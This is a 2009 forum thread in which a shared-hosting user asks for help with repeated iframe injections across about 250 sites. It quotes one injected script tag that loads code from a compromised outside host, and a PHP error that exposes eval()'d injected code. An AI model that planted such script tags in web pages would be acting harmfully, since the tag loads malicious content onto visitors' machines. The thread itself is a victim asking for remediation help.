# Unix Server iFrame Injection, tried everything- please assist!



## Orun (Oct 30, 2009)

Hello,

I have an iframe injection problem that was likely originally caused by a Trojan on some windows machine (many people have FTP access to my server). 
I am pretty tech savvy, but no sysadmin.
I know how to program (in C and others), and use unix (basic bash scripts)

My unix server hosts about 250 active websites and contains about 15GB of content. It's a shared server, so while I do have SSH access, I don't have root/superuser privileges (I can request package installs through my host's tech support though). 

I cleared out my FTP usernames, changed passwords (FTP, SSH, Hosting), etc. 
But I'm still getting injected with iframes all over the place.

Last month I was blacklisted, and I had to search for iframes, manually remove them all, and then use Google Webmaster tools to remove myself from "attack site" lists.

However I'm still getting injected left and right.
I tried using an iframe breaker javascript, but my attackers are just countering it with a more complex script of their owm 

Would greatly appreciate any assistance.
Thanks.


----------



## Orun (Oct 30, 2009)

Is there another category or place where I could get some assistance on this matter?
If so, can this thread be moved there?

UPDATE:
I'm employing a new strategy to fend off these damn script kiddies. Will be changing the global php.ini settings and moving all config.php's into other directories.

They're employing a new method now, using a basic script to redirect to a third party site that has a page which injects iframes.. not really sure how to stop that.. the script looks like this:


```
<script src=http://certification.kz/templates/globals.php-off.php ></script>
```
It seems that the site in question is just another site they have exploited..

I also discovered that they were using our php config files against us, when I started getting this error (upon trying to ftp access the site)


```
Fatal error: Cannot redeclare fdhhw() (previously declared in /home6/arkdemoc/public_html/carrental/index.php(1) : 
eval()'d code:1) in /home6/arkdemoc/public_html/carrental/include/config.inc.php(1) : eval()'d code on line 1
```
Hopefully hiding the config.php's will fix that, but I could really use some assistance. 

I'll be forever grateful to anyone who takes their time to assist!


----------



## Orun (Oct 30, 2009)

I've been looking around the security section and none of the questions are remotely difficult, most can be solved with a Google query. Am I in the wrong category?


----------



## johnwill (Sep 26, 2002)

I'm not sure there's another forum more suited, it appears you have a problem with malware still on that server from the description.

You're right, most of the questions here can be solved by a simple search, but many folks have no idea what to search for. You might say we're the "friendly" interface to the search engine. :smile:


----------

